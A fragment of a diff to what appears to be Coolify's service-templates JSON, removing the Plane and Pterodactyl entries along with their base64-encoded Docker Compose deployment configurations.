U5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICAgICAgLSBwbGFuZS1tcQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBiZWF0LXdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1iZWF0LnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX2JlYXQtd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICBwbGFuZS1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUuNy1hbHBpbmUnCiAgICBjb21tYW5kOiAicG9zdGdyZXMgLWMgJ21heF9jb25uZWN0aW9ucz0xMDAwJyIKICAgIGVudmlyb25tZW50OgogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLXJlZGlzOgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjcuMi41LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLW1xOgogICAgaW1hZ2U6ICdyYWJiaXRtcTozLjEzLjYtbWFuYWdlbWVudC1hbHBpbmUnCiAgICByZXN0YXJ0OiBhbHdheXMKICAgIGVudmlyb25tZW50OgogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgdm9sdW1lczoKICAgICAgLSAncmFiYml0bXFfZGF0YTovdmFyL2xpYi9yYWJiaXRtcScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAncmFiYml0bXEtZGlhZ25vc3RpY3MgLXEgcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAzMHMKICAgICAgcmV0cmllczogMwogIHBsYW5lLW1pbmlvOgogICAgaW1hZ2U6ICdnaGNyLmlvL2Nvb2xsYWJzaW8vbWluaW86UkVMRUFTRS4yMDI1LTEwLTE1VDE3LTI5LTU1WicKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgL2V4cG9ydCAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwOTAiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAndXBsb2FkczovZXhwb3J0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIG1jCiAgICAgICAgLSByZWFkeQogICAgICAgIC0gbG9jYWwKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", - "tags": [ - "plane", - "project-management", - "tool", - "open", - "source", - "api", - "nextjs", - "redis", - "postgresql", - "django", - "pm" - ], - "category": "productivity", - "logo": "svgs/plane.svg", - "minversion": "0.0.0" - }, "plex": { "documentation": "https://docs.linuxserver.io/images/docker-plex/?utm_source=coolify.io", "slogan": "Plex organizes video, music and photos from personal media libraries and streams them to smart TVs, streaming boxes and mobile devices.", @@ -3858,38 +3837,6 @@ "minversion": "0.0.0", "port": "9159" }, - "pterodactyl-panel": { - "documentation": "https://pterodactyl.io/?utm_source=coolify.io", - "slogan": "Pterodactyl is a free, open-source game server management panel", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4wJwogICAgdm9sdW1lczoKICAgICAgLSAncGFuZWwtdmFyOi9hcHAvdmFyLycKICAgICAgLSAncGFuZWwtbmdpbng6L2V0Yy9uZ2lueC9odHRwLmQvJwogICAgICAtICdwYW5lbC1jZXJ0czovZXRjL2xldHNlbmNyeXB0LycKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vZXRjL2VudHJ5cG9pbnQuc2gKICAgICAgICB0YXJnZXQ6IC9lbnRyeXBvaW50LnNoCiAgICAgICAgbW9kZTogJzA3NTUnCiAgICAgICAgY29udGVudDogIiMhL2Jpbi9zaFxuc2V0IC1lXG5cbiBlY2hvIFwiU2V0dGluZyBsb2dzIHBlcm1pc3Npb25zLi4uXCJcbiBjaG93biAtUiBuZ2lueDogL2FwcC9zdG9yYWdlL2xvZ3MvXG5cbiBVU0VSX0VYSVNUUz0kKHBocCBhcnRpc2FuIHRpbmtlciAtLW5vLWFuc2kgLS1leGVjdXRlPSdlY2hvIFxcUHRlcm9kYWN0eWxcXE1vZGVsc1xcVXNlcjo6d2hlcmUoXCJlbWFpbFwiLCBcIidcIiRBRE1JTl9FTUFJTFwiJ1wiKS0+ZXhpc3RzKCkgPyBcIjFcIiA6IFwiMFwiOycpXG5cbiBpZiBbIFwiJFVTRVJfRVhJU1RTXCIgPSBcIjBcIiBdOyB0aGVuXG4gICBlY2hvIFwiQWRtaW4gVXNlciBkb2VzIG5vdCBleGlzdCwgY3JlYXRpbmcgdXNlciBub3cuXCJcbiAgIHBocCBhcnRpc2FuIHA6dXNlcjptYWtlIC0tbm8taW50ZXJhY3Rpb24gXFxcbiAgICAgLS1hZG1pbj0xIFxcXG4gICAgIC0tZW1haWw9XCIkQURNSU5fRU1BSUxcIiBcXFxuICAgICAtLXVzZXJuYW1lPVwiJEFETUlOX1VTRVJOQU1FXCIgXFxcbiAgICAgLS1uYW1lLWZpcnN0PVwiJEFETUlOX0ZJUlNUTkFNRVwiIFxcXG4gICAgIC0tbmFtZS1sYXN0PVwiJEFETUlOX0xBU1ROQU1FXCIgXFxcbiAgICAgLS1wYXNzd29yZD1cIiRBRE1JTl9QQVNTV09SRFwiXG4gICBlY2hvIFwiQWRtaW4gdXNlciBjcmVhdGVkIHN1Y2Nlc3NmdWxseSFcIlxuIGVsc2VcbiAgIGVjaG8gXCJBZG1pbiBVc2VyIGFscmVhZHkgZXhpc3RzLCBza2lwcGluZyBjcmVhdGlvbi5cIlxuIGZpXG5cbiBleGVjIHN1cGVydmlzb3JkIC0tbm9kYWVtb25cbiIKICAgIGNvbW1hbmQ6CiAgICAgIC0gL2VudHJ5cG9pbnQuc2gKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnY3VybCAtc2YgaHR0cDovL2xvY2FsaG9zdDo4MCB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogMXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSEFTSElEU19TQUxUPSRTRVJWSUNFX1BBU1NXT1JEX0hBU0hJRFMKICAgICAgLSBIQVNISURTX0xFTkdUSD04CiAgICAgIC0gU0VSVklDRV9VUkxfUFRFUk9EQUNUWUxfODAKICAgICAgLSAnQURNSU5fRU1BSUw9JHtBRE1JTl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdBRE1JTl9VU0VSTkFNRT0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ0FETUlOX0ZJUlNUTkFNRT0ke0FETUlOX0ZJUlNUTkFNRTotQWRtaW59JwogICAgICAtICdBRE1JTl9MQVNUTkFNRT0ke0FETUlOX0xBU1ROQU1FOi1Vc2VyfScKICAgICAgLSAnQURNSU5fUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnUFRFUk9EQUNUWUxfSFRUUFM9JHtQVEVST0RBQ1RZTF9IVFRQUzotZmFsc2V9JwogICAgICAtIEFQUF9FTlY9cHJvZHVjdGlvbgogICAgICAtIEFQUF9FTlZJUk9OTUVOVF9PTkxZPWZhbHNlCiAgICAgIC0gQVBQX1VSTD0kU0VSVklDRV9VUkxfUFRFUk9EQUNUWUwKICAgICAgLSAnQVBQX1RJTUVaT05FPSR7VElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ0FQUF9TRVJWSUNFX0FVVEhPUj0ke0FQUF9TRVJWSUNFX0FVVEhPUjotYXV0aG9yQGV4YW1wbGUuY29tfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi1kZWJ1Z30nCiAgICAgIC0gQ0FDSEVfRFJJVkVSPXJlZGlzCiAgICAgIC0gU0VTU0lPTl9EUklWRVI9cmVkaXMKICAgICAgLSBRVUVVRV9EUklWRVI9cmVkaXMKICAgICAgLSBSRURJU19IT1NUPXJlZGlzCiAgICAgIC0gREJfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBEQl9VU0VSTkFNRT0kU0VSVklDRV9VU0VSX01ZU1FMCiAgICAgIC0gREJfSE9TVD1tYXJpYWRiCiAgICAgIC0gREJfUE9SVD0zMzA2CiAgICAgIC0gREJfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUwKICAgICAgLSBNQUlMX0ZST009JE1BSUxfRlJPTQogICAgICAtIE1BSUxfRFJJVkVSPSRNQUlMX0RSSVZFUgogICAgICAtIE1BSUxfSE9TVD0kTUFJTF9IT1NUCiAgICAgIC0gTUFJTF9QT1JUPSRNQUlMX1BPUlQKICAgICAgLSBNQUlMX1VTRVJOQU1FPSRNQUlMX1VTRVJOQU1FCiAgICAgIC0gTUFJTF9QQVNTV09SRD0kTUFJTF9QQVNTV09SRAogICAgICAtIE1BSUxfRU5DUllQVElPTj0kTUFJTF9FTkNSWVBUSU9OCg==", - "tags": [ - "game", - "game server", - "management", - "panel", - "minecraft" - ], - "category": "media", - "logo": "svgs/pterodactyl.png", - "minversion": "0.0.0", - "port": "80" - }, - "pterodactyl-with-wings": { - "documentation": "https://pterodactyl.io/?utm_source=coolify.io", - "slogan": "Pterodactyl is a free, open-source game server management panel", - "compose": "c2VydmljZXM6CiAgbWFyaWFkYjoKICAgIGltYWdlOiAnbWFyaWFkYjoxMS44JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdoZWFsdGhjaGVjay5zaCAtLWNvbm5lY3QgLS1pbm5vZGJfaW5pdGlhbGl6ZWQgfHwgZXhpdCAxJwogICAgICBzdGFydF9wZXJpb2Q6IDEwcwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIE1ZU1FMX1JPT1RfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfTVlTUUxST09UCiAgICAgIC0gTVlTUUxfREFUQUJBU0U9cHRlcm9kYWN0eWwtZGIKICAgICAgLSBNWVNRTF9VU0VSPSRTRVJWSUNFX1VTRVJfTVlTUUwKICAgICAgLSBNWVNRTF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NWVNRTAogICAgdm9sdW1lczoKICAgICAgLSAncHRlcm9kYWN0eWwtZGI6L3Zhci9saWIvbXlzcWwnCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOmFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncmVkaXMtY2xpIHBpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIHJldHJpZXM6IDMKICBwdGVyb2RhY3R5bDoKICAgIGltYWdlOiAnZ2hjci5pby9wdGVyb2RhY3R5bC9wYW5lbDp2MS4xMi4w